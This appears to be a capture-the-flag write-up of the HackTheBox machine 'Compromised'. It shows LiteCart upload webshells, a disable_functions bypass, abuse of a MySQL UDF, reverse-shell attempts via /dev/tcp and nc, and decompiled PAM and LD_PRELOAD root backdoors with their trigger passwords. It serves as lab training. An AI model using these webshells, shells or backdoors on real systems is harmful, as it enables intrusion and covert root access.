Compromised involves a box that’s already been hacked, and so the challenge is to follow the hacker and both exploit public vulnerabilities as well as make use of backdoors left behind by the hacker. I’ll find a website backup file that shows how the login page was backdoored to record admin credentials to a web accessible file. With those creds, I’ll exploit a vulnerable LiteCart instance, though the public exploit doesn’t work. I’ll troubleshot that to find that the PHP functions typically used for execution are disabled. I’ll show two ways to work around that to get access to the database and execution as the mysql user, who’s shell has been enabled by the hacker. As the mysql user, I’ll find a strace log, likely a makeshift keylogger used by the hacker with creds to pivot to the next user. To get root, I’ll take advantage of either of two backdoors left on the box by the attacker, a PAM backdoor and a LDPRELOAD backdoor. In Beyond Root, I’ll show how to run commands as root using the PAM backdoor from the webshell as www-data.

Box Info

Name Compromised Compromised
Play on HackTheBox
Release Date 12 Sep 2020
Retire Date 23 Jan 2021
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for Compromised
Radar Graph Radar chart for Compromised
First Blood User 03:35:20xct
First Blood Root 03:34:56xct
Creator D4nch3n



nmap found two open TCP ports, SSH (22) and HTTP (80):

root@kali# nmap -p- --min-rate 10000 -oA scans/alltcp
Starting Nmap 7.80 ( ) at 2021-01-16 07:19 EST
Nmap scan report for
Host is up (0.045s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.01 seconds
root@kali# nmap -p 22,80 -sC -sV -oA scans/tcpscripts
Starting Nmap 7.80 ( ) at 2021-01-16 07:19 EST
Nmap scan report for
Host is up (0.014s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
|   256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_  256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu Bionic 18.04.

Website - TCP 80


The page is a commercial platform selling rubber ducks:

Tech Stack

The site has a “LiteCart” logo at the top right. LiteCart is a “e-commerce platform built with PHP, jQuery and HTML 5.” Even without the logo, the HTTP response headers also show LiteCart:

HTTP/1.1 200 OK
Date: Sat, 16 Jan 2021 12:25:10 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: LiteCart
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: language_code=en; expires=Mon, 15-Feb-2021 12:25:10 GMT; Max-Age=2592000; path=/shop/
Set-Cookie: currency_code=USD; expires=Mon, 15-Feb-2021 12:25:10 GMT; Max-Age=2592000; path=/shop/
Content-Language: en
Vary: Accept-Encoding
Content-Length: 22423
Connection: close
Content-Type: text/html; charset=UTF-8

I don’t see a version number anywhere.

There is an exploit for LiteCart in searchsploit:

root@kali# searchsploit litecart
------------------------------------ ---------------------------------
 Exploit Title                      |  Path
------------------------------------ ---------------------------------
LiteCart 2.1.2 - Arbitrary File Upl | php/webapps/
------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results

It is arbitrary file upload, but taking a quick look at it with searchsploit -x php/webapps/, it requires auth.

Directory Brute Force

I’ll run gobuster against the site, and include -x php since I know the site is PHP:

root@kali# gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 30
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2021/01/16 07:23:55 Starting gobuster
/shop (Status: 301)
/index.php (Status: 302)
/backup (Status: 301)
2021/01/16 07:25:32 Finished


/backup is directory-listable, serving a single file, a.tar.gz:


The archive contains a backup for the website. The source code shows the root folder contains an interesting file, .sh.php:

<?php system($_REQUEST['cmd']); ?>

This file isn’t on the host anymore, but perhaps was put up there when the box was compromised.

I spent far too long looking for a config file that would contain the password. I found a password for the database in includes/

// Database
  define('DB_TYPE', 'mysql');
  define('DB_SERVER', 'localhost');
  define('DB_USERNAME', 'root');
  define('DB_PASSWORD', 'changethis');
  define('DB_DATABASE', 'ecom');
  define('DB_TABLE_PREFIX', 'lc_');
  define('DB_CONNECTION_CHARSET', 'utf8');
  define('DB_PERSISTENT_CONNECTIONS', 'false');

The password “changethis” could very well be wrong in this case. It certainly doesn’t work to get into the admin panel.

Eventually some recursive grep found this in shop/admin/login.php:

if (isset($_POST['login'])) {
    //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
    user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);

That commented line is interesting. Given the theme of this box is likely that it’s already compromised, maybe the other hacker left that behind to collect creds. That log file is still on the server:

root@kali# curl
User: admin Passwd: theNextGenSt0r3!~

Logging in at /shop/admin/login.php with those creds works:


At the bottom, it identifies the LiteCart version, 2.1.2, which is the one with the upload vulnerability.

Shell as mysql


The exploit is a pretty simple upload vulnerability, where a PHP file can be uploaded using the vQmods interface in LiteCart. I’ll log into the admin interface at /shop/admin like above, and at the very bottom of the menu on the left is “vQmods”, which leads to this page:


There’s client-side filtering requiring a file with a .xml extension, but I can catch the request in Burp (or use the exploit script to bypass client-side filtering) and change the file name to .php, and the file will upload.

Exploit Troubleshooting

I’ll use the exploit script from here out, but it would be just as easy to do things manually. Running the exploit from searchsploit doesn’t completely work, returning an empty line where the output should be:

root@kali# python -t -u admin -p 'theNextGenSt0r3!~' 
Shell =>

The exploit is nice enough to give me the address of the webshell, and visiting it returns an empty page:

root@kali# curl -v ''
*   Trying
* Connected to ( port 80 (#0)
> GET /shop/vqmod/xml/S59WW.php?c=id HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 16 Jan 2021 20:00:20 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
* Connection #0 to host left intact

So the upload succeeded, but the execution isn’t working. I can check that a different way by modifying the script. It’s this line that sets the payload:

files = {
        'vqmod': (rand + ".php", "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>", "application/xml"),

I’ll change that to something more benign:

files = {
        'vqmod': (rand + ".php", "<?php echo '0xdf was here'; } ?>", "application/xml"),

It works:

root@kali# python -t -u admin -p 'theNextGenSt0r3!~'
Shell =>
0xdf was here

phpinfo() will provide useful information about the box:

files = {
        'vqmod': (rand + ".php", '<?php phpinfo();  ?>', "application/xml"),
root@kali# python -t -u admin -p 'theNextGenSt0r3!~'
Shell =>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns=""><head>

I’ll use that address to view the page. In that information, it’s clear why the webshell isn’t working:

image-20210116152148808Click for full size image

These functions are disabled, including system that’s used in the exploit.

disable_functions can be bypassed pretty easily, but that’s not the intended way to solve this box (I’ll show it in the next section).

Path #1: Enumeration via PHP

Read File / Dir List PHP

I modified the exploit again to upload a PHP file that allows me to get files and directories:

sploit = """<?php
if (isset($_REQUEST['file'])) { 
    echo file_get_contents($_REQUEST['file']);

if (isset($_REQUEST['dir'])) {

files = {
        'vqmod': (rand + ".php", sploit, "application/xml"),

After running that, I can list a directory:

root@kali# curl -s -G --data-urlencode "dir=/home"
    [0] => .
    [1] => ..
    [2] => sysadmin

This user can’t read in /home/sysadmin.

I can also get a file, like /etc/passwd:

root@kali# curl -s -G --data-urlencode "file=/etc/passwd"
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash


It’s really interesting to note that in the /etc/passwd file, the user mysql has a shell, /bin/bash. That’s unusual, as mysql typically sets the mysql user’s shell to /bin/false. Given the hacked theme of the box, it’s worth looking at this further.

Looking at mysql’s home directory doesn’t return anything, which indicates a permissions issue. I can try to check out the database, especially to see if it can execute. I’ll pull the config file at the same path I noted in the backup. The DB password is still “changethis”:

root@kali# curl -s -G --data-urlencode "file=/var/www/html/shop/includes/"
// Database
  define('DB_TYPE', 'mysql');
  define('DB_SERVER', 'localhost');
  define('DB_USERNAME', 'root');
  define('DB_PASSWORD', 'changethis');
  define('DB_DATABASE', 'ecom');
  define('DB_TABLE_PREFIX', 'lc_');
  define('DB_CONNECTION_CHARSET', 'utf8');
  define('DB_PERSISTENT_CONNECTIONS', 'false');  

I’ll add some code to my PHP that will run DB queries:

sploit = """<?php
if (isset($_REQUEST['file'])) { 
    echo file_get_contents($_REQUEST['file']);

if (isset($_REQUEST['dir'])) {

if (isset($_REQUEST['db'])) {
    $conn = new mysqli("localhost", "root", "changethis", "ecom") or die("Connect failed: %s\n". $conn -> error);
    $res = mysqli_query($conn, $_REQUEST['db']);
    while ($row = $res->fetch_row()) {
        foreach ($row as $r) {
            echo $r . " ";
        echo "\n";


It works:

root@kali# curl -s -G '' --data-urlencode 'db=select @@version'


Eventually I checked the mysql.func table, which stores information about user-defined functions created with the CREATE FUNCTION UDF statement. The headers are Name, Ret, dl, type:

root@kali# curl -s -G '' --data-urlencode 'db=select * from mysql.func;'
exec_cmd 0 function 

exec_cmd isn’t a standard MySQL function, but rather a user defined function (UDF), perhaps left behind by the attacker. Just knowing the name, it’s worth a shot to run something. Command output doesn’t seem to come back (seems like that’s an issue with my shell, as exec_cmd does return data, as I’ll show in the next section), but it does seem to run, as running ping -c 5 takes about five seconds to return.


Just like with the webshell, nothing that sends traffic back to my host seems to work. But I can guess that since the user had a shell added, perhaps there’s a .ssh directory. And it works:

root@kali# curl -s -G '' --data-urlencode "db=SELECT exec_cmd('echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\" >> /var/lib/mysql/.ssh/authorized_keys');"
root@kali# ssh -i ~/keys/ed25519_gen mysql@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:eYvjeWOH3lYrex1T0a/7BQsAv9L4YbZem1T0BGWjtVE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Last login: Thu Sep  3 11:52:44 2020 from

Path #2: Bypass disable_functions


I wrote about Chankro a while back and how it can bypass disable_functions in PHP. Unfortunately for this case, it relies on putenv in PHP, which is listed as blocked in the phpinfo output. Still, there are other ways to bypass these filters. For example, something like this to get execution. It’s a webshell that goes through a bunch of work-arounds to get execution without using any of the functions that get disabled but rather exploiting a bug in PHP. At the top of the PHP code, it calls pwn("uname -a");.

I’ll update the exploit script to read in and send the shell from the GitHub:

with open("exploit.php", "r") as f:
    exploit =

files = {
        'vqmod': (rand + ".php", exploit, "application/xml"),

On running it, it prints the output of uname:

root@kali# python -t -u admin -p 'theNextGenSt0r3!~'
Shell =>
Linux compromised 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

That’s the output of uname -a.


I’ll replace uname with a payload that runs based on the request:

#pwn("uname -a");

I used c because the exploit POC uses c in it’s webshell. When I run this, it works:

root@kali# python -t -u admin -p 'theNextGenSt0r3!~'
Shell =>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

No Reverse Shell

I wasn’t able to get a full shell from this. It seems that perhaps the firewall is not allowing traffic out? All of these either hung or returned instantly:

root@kali# curl -s -G --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/ 0>&1'"
root@kali# curl -s -G --data-urlencode "c=wget"
root@kali# curl -s -G --data-urlencode "c=nc 443"

I can pull the iptables rules:

root@kali# curl -s --data-urlencode 'c=find /etc/iptables -type f'
root@kali# curl -s --data-urlencode 'c=cat /etc/iptables/rules.v4'
# Generated by iptables-save v1.6.1 on Mon May 11 02:27:29 2020
:INPUT DROP [6:1032]
:OUTPUT DROP [5:394]
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -m tcp -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -m tcp -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -m tcp -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -m tcp -j ACCEPT
# Completed on Mon May 11 02:27:29 2020

Inbound only established, 22, and 80 are allowed. Outbound only established and source port 22 and 80 (coming from SSH and HTTP). Anything I’d want to send outbound will be blocked. Still, this webshell is enough to run mysql commands through. Alternatively, I could write a forward shell (using Ippsec’s technique like I’ve shown several times, including Stratosphere - Ippsec will show this in his Compromised video), or just root from here (see Beyond Root).


I can run the mysql binary through this webshell:

root@kali# curl -G --data-urlencode 'c=mysql -u root -pchangethis -e "SELECT @@version"'

The exec_cmd function does return output when run this way:

root@kali# curl -G --data-urlencode 'c=mysql -u root -pchangethis -e "SELECT exec_cmd(\"id\");"'
uid=111(mysql) gid=113(mysql) groups=113(mysql)\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

For some reason it appends a ton of \0 to the end. Multi-line output isn’t handled very well (as in most of it doesn’t come through):

root@kali# curl -G --data-urlencode 'c=mysql -u root -pchangethis -e "SELECT exec_cmd(\"ls /var/lib/mysql\");"'
exec_cmd("ls /var/lib/mysql")

Still, I can write an SSH key just like above.

Shell as sysadmin


In mysql’s homedir, there’s a file that jumps out as unusual:

mysql@compromised:~$ ls -l
total 189260
-rw-r----- 1 mysql mysql       56 May  8  2020 auto.cnf
-rw------- 1 mysql mysql     1680 May  8  2020 ca-key.pem
-rw-r--r-- 1 mysql mysql     1112 May  8  2020 ca.pem
-rw-r--r-- 1 mysql mysql     1112 May  8  2020 client-cert.pem
-rw------- 1 mysql mysql     1676 May  8  2020 client-key.pem
-rw-r--r-- 1 root  root         0 May  8  2020 debian-5.7.flag
drwxr-x--- 2 mysql mysql    12288 May 28  2020 ecom
-rw-r----- 1 mysql mysql      527 Sep 12 19:53 ib_buffer_pool
-rw-r----- 1 mysql mysql 79691776 Jan 16 12:21 ibdata1
-rw-r----- 1 mysql mysql 50331648 Jan 16 12:21 ib_logfile0
-rw-r----- 1 mysql mysql 50331648 May 27  2020 ib_logfile1
-rw-r----- 1 mysql mysql 12582912 Jan 17 12:00 ibtmp1
drwxr-x--- 2 mysql mysql     4096 May  8  2020 mysql
drwxr-x--- 2 mysql mysql     4096 May  8  2020 performance_schema
-rw------- 1 mysql mysql     1680 May  8  2020 private_key.pem
-rw-r--r-- 1 mysql mysql      452 May  8  2020 public_key.pem
-rw-r--r-- 1 mysql mysql     1112 May  8  2020 server-cert.pem
-rw------- 1 mysql mysql     1680 May  8  2020 server-key.pem
-r--r----- 1 root  mysql   787180 May 13  2020 strace-log.dat
drwxr-x--- 2 mysql mysql    12288 May  8  2020 sys

strace-log.dat is owned by root, and readable by the mysql group. Every other file in this folder (except the 0-byte debian-5.7.flag is owned by mysql.) strace is a program designed to intercept and display or log system calls made by another processes. It can also be used by a hacker as a make-shift keylogger.

Running a script like LinPEAS will also highlight this file as interesting:

[+] Readable files belonging to root and readable by me but not world readable
-r--r----- 1 root mysql 787180 May 13  2020 /var/lib/mysql/strace-log.dat

On doing some searching through the file, there’s a place where it’s recording a mysql run where the password is passed on the command line:

22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0


That password works for the user on the box, sysadmin:

mysql@compromised:~$ su sysadmin -
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell

And I can grab user.txt:

sysadmin@compromised:~$ cat user.txt

This password also works for SSH:

root@kali# sshpass -p '3*NLJE32I$Fe' ssh sysadmin@
Last login: Wed Jan 20 18:37:38 2021 from

Path #1: Shell as root via pam backdoor


At this point it’s clear I’m trying to follow in the footsteps of the attacker that already compromised this box. One place to look for persistence is in the /lib directory. One trick (thanks to Ippsec for this one) for looking at a system is to print full timestamps, and look at ones that have fractional seconds. dpkg (by default) only stores to the second, and thus files with fractional seconds are all modified some other way.

For example, on Compromised, there are almost 13,000 files in /lib:

sysadmin@compromised:/var/www$ find /lib  -type f | wc -l
sysadmin@compromised:/var/www$ find /lib  -type f -printf "%M %n %-6u %-6g %6s %TY-%Tm-%Td %TT %TZ %h/%f\n" | sort -k 6,7
-rw-r--r-- 1 root   root      188 2014-02-24 18:19:14.0000000000 UTC /lib/systemd/system/rsync.service
-rw-r--r-- 1 root   root   137256 2014-12-21 05:11:09.0000000000 UTC /lib/x86_64-linux-gnu/
-rw-r--r-- 1 root   root   249144 2016-02-07 10:11:02.0000000000 UTC /lib/x86_64-linux-gnu/
-rw-r--r-- 1 root   root    34968 2016-02-07 10:11:02.0000000000 UTC /lib/x86_64-linux-gnu/
-rw-r--r-- 1 root   root    10152 2016-08-11 12:52:18.0000000000 UTC /lib/x86_64-linux-gnu/
-rw-r--r-- 1 root   root   243832 2016-08-11 12:52:18.0000000000 UTC /lib/x86_64-linux-gnu/
-rw-r--r-- 1 root   root    22520 2016-10-05 16:47:51.0000000000 UTC /lib/x86_64-linux-gnu/
-rw-r--r-- 1 root   root      190 2016-11-25 11:16:17.0000000000 UTC /lib/udev/rules.d/80-ifupdown.rules
-rw-r--r-- 1 root   root      735 2016-11-25 11:16:17.0000000000 UTC /lib/systemd/system/networking.service
-rw-r--r-- 1 root   root      626 2016-11-28 13:40:17.0000000000 UTC /lib/systemd/system/ifup@.service

But if I just want to look at files not installed by dpkg, there’s only 21:

sysadmin@compromised:/var/www$ find /lib  -type f -printf "%M %n %-6u %-6g %6s %TY-%Tm-%Td %TT %TZ %h/%f\n" | sort -k 6,7 | grep -v ".0000000000" | wc -l

Of those 21, the last two are really interesting:

sysadmin@compromised:/var/www$ find /lib  -type f -printf "%M %n %-6u %-6g %6s %TY-%Tm-%Td %TT %TZ %h/%f\n" | sort -k 6,7 | grep -v ".0000000000"
-rw-r--r-- 1 root   root   553682 2020-05-08 15:39:39.7166620120 UTC /lib/modules/4.15.0-99-generic/modules.dep
-rw-r--r-- 1 root   root   782364 2020-05-08 15:39:39.7366640620 UTC /lib/modules/4.15.0-99-generic/modules.dep.bin
-rw-r--r-- 1 root   root   1283733 2020-05-08 15:39:39.7566661120 UTC /lib/modules/4.15.0-99-generic/modules.alias
-rw-r--r-- 1 root   root   1263999 2020-05-08 15:39:39.8966804600 UTC /lib/modules/4.15.0-99-generic/modules.alias.bin
-rw-r--r-- 1 root   root      567 2020-05-08 15:39:39.9166825100 UTC /lib/modules/4.15.0-99-generic/modules.softdep
-rw-r--r-- 1 root   root   591899 2020-05-08 15:39:39.9286837400 UTC /lib/modules/4.15.0-99-generic/modules.symbols
-rw-r--r-- 1 root   root   721938 2020-05-08 15:39:39.9846894800 UTC /lib/modules/4.15.0-99-generic/modules.symbols.bin
-rw-r--r-- 1 root   root     9685 2020-05-08 15:39:39.9926903000 UTC /lib/modules/4.15.0-99-generic/modules.builtin.bin
-rw-r--r-- 1 root   root      317 2020-05-08 15:39:40.0126923510 UTC /lib/modules/4.15.0-99-generic/modules.devname
-r--r--r-- 1 root   root   8962391 2020-05-08 15:58:30.6773677010 UTC /lib/udev/hwdb.bin
-rw-r--r-- 1 root   root   554016 2020-05-28 06:09:14.1800803540 UTC /lib/modules/4.15.0-101-generic/modules.dep
-rw-r--r-- 1 root   root   782762 2020-05-28 06:09:14.1880798190 UTC /lib/modules/4.15.0-101-generic/modules.dep.bin
-rw-r--r-- 1 root   root   1283903 2020-05-28 06:09:14.1960792830 UTC /lib/modules/4.15.0-101-generic/modules.alias
-rw-r--r-- 1 root   root   1264166 2020-05-28 06:09:14.2400763370 UTC /lib/modules/4.15.0-101-generic/modules.alias.bin
-rw-r--r-- 1 root   root      567 2020-05-28 06:09:14.2520755330 UTC /lib/modules/4.15.0-101-generic/modules.softdep
-rw-r--r-- 1 root   root   591899 2020-05-28 06:09:14.2560752660 UTC /lib/modules/4.15.0-101-generic/modules.symbols
-rw-r--r-- 1 root   root   721938 2020-05-28 06:09:14.2800736590 UTC /lib/modules/4.15.0-101-generic/modules.symbols.bin
-rw-r--r-- 1 root   root     9685 2020-05-28 06:09:14.2840733910 UTC /lib/modules/4.15.0-101-generic/modules.builtin.bin
-rw-r--r-- 1 root   root      317 2020-05-28 06:09:14.2920728550 UTC /lib/modules/4.15.0-101-generic/modules.devname
-rw-r--r-- 1 root   root   198440 2020-08-31 03:25:17.4559916850 UTC /lib/x86_64-linux-gnu/security/
-rw-r--r-- 1 root   root   198440 2020-08-31 03:25:57.6079903490 UTC /lib/x86_64-linux-gnu/security/

It’s not normal to have a file. Interestingly, they are the same size. My guess based on timestamps is that the original good was moved to .pam_unix, and then a new malicious one was put in place.

I’ll grab a copy over SCP:

root@kali# scp -i ~/keys/ed25519_gen mysql@ .                  100%  194KB 920.2KB/s   00:00

Patch Comparison

Get Legit Version

strings will provide all the ASCII strings in the binary, which is a good place to start looking for clues. One that jumped out gives a version:


I’ll grab a copy of the legit binary from this link.

Ghidra Version Tracking

The Version Tracking tool comes as part of the default Ghidra install, and is represented by the footsteps icon next to the code browser icon in the Tool Chest:


I’ll need to first import each of the two files into a project, and analyzed them (opening them in the Code browser will trigger that).

Then I can start a version track by clicking the footsteps. In the window that opens, I’ll click the footsteps again:

image-20210118114446306Click for full size image

I’ll provide a name and the two binaries:


On the next screen, I’ll run the Precondition Checks, and then hit next (even if a couple return warnings). On hitting finish, Version Tracking windows are opened for both binaries. In the main version tracking window, I’ll hit the wand button to “Run several correlators and apply good matches”. Thjis adds a bunch of lines to the matches window, each being examples of things that match according to the diagnostic run.

image-20210118115805423Click for full size image

Everything in there now has a Score of 1, which indicates a perfect match (according to what that algorithm looks at).

Clicking on the plus icon to “Add additional correlations”, I can see what’s already been run by the green previous flags:

image-20210118115857742Click for full size image

Because I’m looking for function changes, I’ll add Function Reference Match, and hit next and finish. This finds several matches with score less than 1. I can adjust the filter to show only things between 0 and 0.99:

image-20210118120106671Click for full size image

pam_sm_authenticate is particularly interesting both because of what I can guess it does, and because the size went from 579 to 633 in the change. Clicking on it loads the two disassemblies side by side at the bottom:

image-20210118120359214Click for full size image

Right away, I can see there’s an extra 15 character array, backdoor. Scrolling down a bit, there’s an extra check if the given password matches backdoor, and then it continues just like the original:

image-20210118120530557Click for full size image

It’s setting backdoor to a static value, “7a6c6b657e5533456e7638326d322d”. To get ASCII from hex:

root@kali# echo "7a6c6b657e5533456e7638326d322d" | xxd -r -p


That will work as the password for any user, including root:

sysadmin@compromised:~$ su -

Path #2: Shell as root via LDPreload


Another common hacker technique on Linux is to hook functions via LDPRELOAD. The file at /etc/ will give a list of files libraries to load first. Typically this file is empty:

sysadmin@compromised:~$ cat /etc/ 

I’ll pull that back for analysis.

root@kali# scp -i ~/keys/ed25519_gen mysql@ .                    100%   13KB 155.1KB/s   00:00


Unlike the other file, which was a slightly modified legit library, this .so is attempting to hijack control over certain library calls. Because of it’s position in preload, if a call is made and it’s in this library, it will run this one. Otherwise, it will look in normal GLIBC and other shared objects for the function. exports a single function, read:


The read function looks like:

image-20210118140241107Click for full size image

I’ll clean this up. DAT_00102000 holds the value “read”. local_38 is a string that is used like a password.

ssize_t read(int __fd,void *__buf,size_t __nbytes)

  code *read_libc;
  ssize_t read_ret;
  char *backdoor;
  char password [16];
  read_libc = (code *)dlsym(0xffffffffffffffff,&read);
  read_ret = (*read_libc)((ulong)(uint)__fd,__buf,__nbytes,__buf,read_libc);
  password[0] = '2';
  password[1] = 'w';
  password[2] = 'k';
  password[3] = 'e';
  password[4] = 'O';
  password[5] = 'U';
  password[6] = '4';
  password[7] = 's';
  password[8] = 'j';
  password[9] = 'v';
  password[10] = '8';
  password[11] = '4';
  password[12] = 'o';
  password[13] = 'k';
  password[14] = '/';
  password[15] = '\0';
  backdoor = strstr((char *)__buf,password);
  if (backdoor != (char *)0x0) {
    execve("/bin/sh",(char **)0x0,(char **)0x0);
  return read_ret;

So it uses dlsym to get the real read function, and then calls it with the parameters passed in. It checks if the result contains the string “2wkeOU4sjv84ok/”, and if so, it starts a shell. Otherwise, it returns the actual return value from read.

When it calls the shell, it first runs setgid(0) and setuid(0), so as long as the process is running as root, the shell will also be running as root.


One SUID binary that takes input (ie, uses read) is passwd. If I provide this string as the current password, instead of rejecting it as wrong, it just returns a root shell:

sysadmin@compromised:/var/lib/mysql$ passwd
Changing password for sysadmin.
(current) UNIX password: sh: 0: can't access tty; job control turned off
# reset: unknown terminal type unknown
Terminal type? screen
# id
uid=0(root) gid=0(root) groups=0(root),1000(sysadmin) 

Interestingly, if I try to even echo that string, it crashes my SSH connection:

root@kali# ssh -i ~/keys/ed25519_gen mysql@
Last login: Mon Jan 18 19:28:09 2021 from
mysql@compromised:~$ echo "2wkeOU4sjv84ok"
mysql@compromised:~$ echo "2wkeOU4sjv84ok/"
Connection to closed by remote host.
Connection to closed.

Perhaps trying to run setuid(0) as an unprivileged user is causing a crash.

Beyond Root - Root from Webshell

It turns out that this trick works to run su from the webshell. The TheATeam got first blood by using the webshell to find the PAM backdoor, and then executing it from the webshell like this:

root@kali# curl -G --data-urlencode "c=(sleep 1; echo zlke~U3Env82m2-) | python3 -c \"import pty;pty.spawn(['/bin/su','-c','id']);\""
uid=0(root) gid=0(root) groups=0(root)

The trick here is to use sleep to allow the Python PTY time to start, and then to send the su password (that is accepted because of the backdoored PAM module) into that PTY with the command. Both flags can be read from here:

root@kali# curl -G --data-urlencode "c=(sleep 1; echo zlke~U3Env82m2-) | python3 -c \"import pty;pty.spawn(['/bin/su','-c','cat /home/*/user.txt /root/root.txt']);\""